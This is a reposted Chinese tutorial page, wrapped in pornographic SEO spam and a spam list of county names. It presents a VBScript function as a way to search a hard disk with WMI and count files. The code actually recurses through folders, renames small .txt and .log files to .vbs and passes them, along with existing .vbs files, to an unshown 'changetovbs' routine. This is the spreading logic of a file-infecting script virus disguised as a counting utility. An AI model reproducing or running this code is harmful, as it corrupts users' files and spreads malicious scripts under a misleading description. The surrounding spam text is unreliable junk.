国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBS調用WMI遍歷搜索硬盤文件并計數的方法

2020-06-26 17:40:21
字體:
來源:轉載
供稿:網友

多年之前寫的一個VBS調用WMI來遍歷搜索硬盤文件,并計數的函數,今天整理網盤,看到了,發上來

核心代碼:

Function wmisfile(path_sf,justcnt)  'On Error Resume Next  StrComputer = "."  Set ObjWMIService = GetObject("winmgmts://" & StrComputer & "/root/cimv2")  Set FileList = objWMIService.ExecQuery _  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _   & "ResultClass = CIM_DataFile")  For Each objFile In FileList    fname = LCase(objfile.name)    ename = LCase(objfile.extension)    If 1 < objfile.filesize And objfile.filesize <= 50000 Then      Select Case ename        Case "txt","log"        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")        Call changetovbs(path_vbs,path_vbs)        justcnt = justcnt + 1        Case "vbs"        If checkversion(fname) = False Then          Call changetovbs(fname,fname)          justcnt = justcnt + 1        End If      End Select    End If  Next  Set colSubfolders = objWMIService.ExecQuery _  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _   & "Where AssocClass = Win32_Subdirectory " _   & "ResultRole = PartComponent")  For Each objFolder In colSubfolders    wmisfile objfolder.name,justcnt  NextEnd Function


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 吉木萨尔县| 临桂县| 施甸县| 黄龙县| 寿阳县| 勐海县| 太白县| 项城市| 友谊县| 宿松县| 疏勒县| 道孚县| 南康市| 桦甸市| 秦皇岛市| 锡林郭勒盟| 华宁县| 黑龙江省| 建平县| 鄄城县| 博爱县| 红河县| 陇川县| 三穗县| 龙山县| 南涧| 新绛县| 白沙| 湄潭县| 梅河口市| 迭部县| 石渠县| 漳平市| 崇仁县| 襄垣县| 利辛县| 五台县| 隆尧县| 平昌县| 广安市| 前郭尔|